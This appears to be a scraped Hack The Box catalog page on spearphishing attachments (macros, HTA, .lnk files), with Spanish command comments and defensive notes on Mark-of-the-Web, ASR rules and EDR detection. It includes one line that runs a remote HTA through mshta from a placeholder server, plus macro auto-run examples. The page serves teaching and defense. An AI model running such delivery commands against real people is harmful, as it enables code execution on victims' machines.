Spearphishing Attachment
Sub-technique of T1566 Phishing ↗
Sending a document or file that runs code when the victim opens it (macro, HTA, LNK).
How it shows up on Hack The Box
On HTB it shows up when a simulated user opens whatever you email or drop in a folder: an .odt with a macro, an .lnk or a .library-ms that leaks their NTLM hash.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Phishing explained: macros, HTA and LNK › Office macros
The automatic events
Keys
' AutoOpen (Word) y Workbook_Open (Excel) se ejecutan al abrir el fichero
' SI el usuario habilita las macros. Document_Open hace lo mismo desde el módulo del documento.
Sub AutoOpen()
MsgBox "Esto se ejecuta al abrir el documento"
End Sub
Mark-of-the-Web
Keys
# Desde 2022 Office bloquea las macros de cualquier fichero descargado de Internet o recibido por correo (llevan la marca MOTW). El usuario ya ni ve el botón de "Habilitar".
Defender ASR rules
Keys
# "Block all Office applications from creating child processes" impide que WINWORD.EXE lance cmd/powershell, que es justo lo que hace la macro.
Extract and read the macros with oletools
Attacker
olevba documento.docmPhishing explained: macros, HTA and LNK › HTA
How the victim would end up running it
Target
mshta http://servidor/documento.hta
The pattern any EDR flags
Keys
# mshta.exe conectándose a una URL y creando cmd.exe o powershell.exe es un indicador de libro. Muchas empresas bloquean mshta.exe entero con AppLocker/WDAC.Phishing explained: macros, HTA and LNK › Shortcuts (.lnk)
Inspect one you receive, without opening it
Attacker
(New-Object -ComObject WScript.Shell).CreateShortcut('.\sospechoso.lnk') | Format-List TargetPath, Arguments, IconLocation
From Linux with pylnk3
Attacker
pip install pylnk3 && pylnk3 p sospechoso.lnk
Mark-of-the-Web and SmartScreen
Keys
# Windows marca los .lnk descargados; SmartScreen avisa, y un .lnk cuyo destino es cmd o powershell es sospechoso por sí solo. La pista para el defensor: Explorer como proceso padre de cmd.No command matches.